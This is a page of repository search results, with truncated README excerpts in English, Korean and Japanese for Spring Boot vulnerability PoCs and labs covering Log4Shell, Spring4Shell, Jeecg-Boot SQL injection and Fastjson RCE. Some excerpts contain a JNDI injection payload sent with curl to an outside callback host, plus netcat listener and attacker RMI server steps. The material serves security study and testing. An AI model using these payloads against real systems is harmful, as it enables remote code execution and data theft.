1425 matches found
CVE-2023-1454-Jeecg-Boot-qurestSql-SQLvuln
CVE-2023-1454 Jeecg-Boot-qurestSql-SQLvuln jmreport/qurestSql Unauthorized SQL Injection Batch Scan PoC. Jeecg-Boot is a rapid development platform based on Spring Boot and Jeecg-Boot-Plus. The latest version jeecg-boot 3.5.0 has been exposed with multiple SQL injection vulnerabilities. Usage...
spring4shell-poc
Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...
spring4shell-poc
Spring4Shell POC 취약점 설명: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POC 구성: https://github.com/BobTheShoplifter/Spring4Shell-POC 빌드/실행 단계 JDK 11.0.14, Spring Boot 2.6.5, Apache Tomcat 9.0.60에서 테스트됨 mvn clean package를 실행하여 애플리케이션을 빌드합니다. demo-0.0.1-SNAPSHOT.war를...
log4j2-CVE-2021-44228
샘플 Log4j2 취약 애플리케이션 CVE-2021-44228 영향받는 버전: 2.0-beta9 2.14.1의 모든 버전 이 애플리케이션은 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다. Log4j 2.14.1을 사용합니다 spring-boot-starter-log4j2 2.6.1을 통해. 애플리케이션 실행 실행: Import the project in Java IDE as a maven project Run CVEMainApplication.java as a spring boot...
log4j2-hack-springboot
log4j2-hack-springboot...
spring-boot-cve-2022-22965
= Spring Framework 버전 재정의 쇼케이스 이 저장소는 Spring Boot 2.4 기반 애플리케이션에서 Spring Framework 버전을 재정의하는 방법을 보여줍니다. Spring Boot 2.4.x는 https://spring.io/projects/spring-bootsupportOSS 지원이 종료되었으며, 최신 버전은 2.4.13입니다. 이는 https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcementCVE-2022-22965에 취약한...
Demo-Exploit-Jackson-RCE
Demo-Exploit-Jackson-RCE 이 프로젝트는 jackson-rce-via-spel 프로젝트를 기반으로 하며, Jackson-databind 취약점에 대한 여러 공격 벡터파일 업로드, 폼를 테스트하기 위한 예제 웹 애플리케이션 역할을 합니다. 소개 Angular7 프론트엔드와 spring-boot 백엔드를 기반으로 다양한 공격 벡터를 테스트하고 결과를 시각화 및 확인할 수 있습니다. 빌드 Spring boot와 Angular7을 빌드하여 배포 가능한 war 파일로 패키징합니다. mvn package 실행 자동으로 ...
log4j-lookups-vulnerability
log4j-lookups-vulnerability spring-boot,그리고 코드는 Log4j2 VulnerabilityCVE-2021-44228가 어떻게 작동하는지 보여줍니다. CVE-2021-44228에 대한 해결책은 해당 링크에 있습니다 https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot...
spring-boot-log4j-cve-2021-44228-docker-lab
Spring Boot Log4j - CVE-2021-44228 Log4Shell 취약점CVE-2021-44228은 본질적으로 매우 단순한 JNDI 주입 결함이지만, 정말 정말 치명적인 위치에 존재합니다. Log4J는 로깅 메시지에서 플레이스홀더를 확장할 때또는 형식화된 메시지의 매개변수로 간접적으로 JNDI lookup을 수행합니다. ...더 읽기 PSA: Log4Shell 및 JNDI 주입의 현재 상태. Docker 랩 설정 참고: 이 dockerfile은 원래 Log4Shell 샘플 취약 애플리케이션...
log4shell-vulnerable-app
Log4Shell 샘플 취약 애플리케이션 CVE-2021-44228 이 저장소는 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 포함합니다. 이 취약점은 Log4Shell로 알려져 있습니다. Log4j 2.14.1 spring-boot-starter-log4j2 2.6.1을 통해과 JDK 1.8.0181을 사용합니다. 애플리케이션 실행 다음 명령어로 실행하세요: docker run --name vulnerable-app --rm -p 8080:8080...
CVE-2021-44228-docker-example
CVE-2021-44228-docker-example 취약한 서버에서 공격자가 제어하는 웹 서비스로 데이터를 전송하는 CVE-2021-44228의 간단한 데모입니다. 모든 구성 요소는 Docker를 통해 실행됩니다. 구성 요소 vulnerable-server 이는 표준 Java 서버로, 피해자 역할을 합니다. 다음을 실행합니다: Java 8u111 Web Application Spring Boot 2.6.1 Log4J 이 서버는 이 구성에서취약합니다. 추가 정보: /logging 엔드포인트 GET는 Log4J를 사용하여 사용자...
log4shell-rmi-poc
log4shell-rmi-poc Java-RMI를 통한 Log4j 취약점CVE-2021-44228의 개념 증명PoC spring-boot-starter-log4j2의 Log4j 2.5.7을 사용합니다. 요구 사항: Java 8JDK 1.8.025 및 Java 11JDK 11.0.1에서 테스트되었습니다. POC 실행 방법 1. 저장소 클론: git clone https://github.com/Labout/log4shell-rmi-poc.git 2. 공격자 RMI 서버 시작 cd Log4jshellrmiserver ./mvnw...
log4j-spring-vuln-poc
취약한 log4j Spring POC 이것은 취약한 log4j 버전을 포함하는 Maven 기반의 간단한 Spring Boot 시작 백엔드를 위한 POC입니다. CVE-2021-44228 Spring Boot는 https://start.spring.io에서 부트스트랩되었습니다. 명령어 ./mvnw spring-boot:run: 서버 시작 ./mvnw dependency:tree: 의존성 트리를 출력하고 사용 중인 log4j 버전 확인 nc -k -l 3030: bash, 임의의 수신 TCP 연결예: 취약한 Spring Boot...
CVE-2022-22965
Spring Boot CVE-2022-22965 Spring Boot 버전 2.6.5에서 CVE-2022-22965에 대한 Docker PoC 🚀 시작하기 1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip 에서 배포 코드를 다운로드하고 압축을 풉니다. 2. docker compose up --build를 실행하여 취약한 애플리케이션을 빌드하고 시작합니다. 3. curl -H "Accept: text/html;"...
log4shell-demo
Log4ShellCVE-2021-44228에 취약한 간단한 Spring Boot 애플리케이션 기본 로깅 프레임워크를 logback에서 log4j2로 변경 애플리케이션은 'User-Agent' 헤더를 로깅하므로, curl과 interactsh-service를 사용하여 취약점을 테스트할 수 있습니다: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com에서 DNS 상호작용을 확인할 수 있습니다. Docker hub Docker hub로 이...
log4j2-exploit
Log4Shell CVE-2021-44228 개념 증명 요구 사항 Java JDK/JRE 8 이상 버전 curl exploitable 사용자 이름과 비밀번호가 있는 로그인 페이지를 제공하는 간단한 Spring Boot 애플리케이션입니다. POST로 /에 전송되면 사용자 이름을 기록합니다. 취약한 애플리케이션이 사용자 제공 입력을 기록할 필요는 없습니다. 취약한 log4j2 버전을 사용하는 액세스 로깅을 활성화하는 것만으로 충분합니다. 실행 방법: cd exploitable ../mvnw -q spring-boot:run 기본적...
CVE-2021-44228
Log4Shell POC CVE-2021-44228 이 저장소의 목적은 CVE-2021-44228 별명 Log4Shell을 익스플로잇하는 데 필요한 모든 구성 요소를 제공하고, 이를 악용하는 방법을 보여주는 것입니다. 이 취약점을 악용하는 데 필요한 요소는 다음과 같습니다: 1. 취약한 애플리케이션을 익스플로잇으로 리다이렉트할 LDAP 서버 2. 취약한 Log4J 버전을 사용하는 취약한 애플리케이션 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션 3. 취약한 애플리케이션에 의해 로드될 Java...
CVE-2026-16723
CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ 概要 CVE-2026-16723 は Fastjson 1.x 1.2.68 – 1.2.83 における リモートコード実行 RCE 脆弱性です。 Fastjson が攻撃者制御の JSON をパースする際、細工された @type 値が checkAutoType 内でのクラスリソース検索に変換されます。Spring Boot の実行可能 fat-JAR では、クラスローダーがその名前を jar:http:// URL として解決し、リモー...
spring-break_cve-2017-8046
spring-breakcve-2017-8046 이것은 Spring Break 취약점CVE-2017-8046을 악용하는 Java 프로그램입니다. 이 소프트웨어는 가능한 한 외부 종속성을 최소화하도록 작성되었습니다. DISCLAIMER 이 도구는 보안 엔지니어와 앱시큐리티 담당자가 보안 평가를 수행할 수 있도록 제작되었습니다. 이 도구를 책임감 있게 사용하시기 바랍니다. 누구든 이 애플리케이션을 사용하는 방식에 대해 저는 책임을 지지 않습니다. 이 도구를 사용하여 발생한 손해나 저지른 범죄에 대해 저는 책임이 없습니다. 취약점 정...
cve-2026-22732-poc
CVE-2026-22732 — Proof of Concept Spring Security は HTTP レスポンスのセキュリティヘッダーを黙って破棄する。デモ/教育目的のみ。このローカルアプリ以外に対して実行しないこと。 | ---|--- CVE| CVE-2026-22732 CWE-425、公開 2026-03-19 CVSS 3.1| 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N 直接依存| spring-boot-starter-web + spring-boot-starter-security 2.7.18...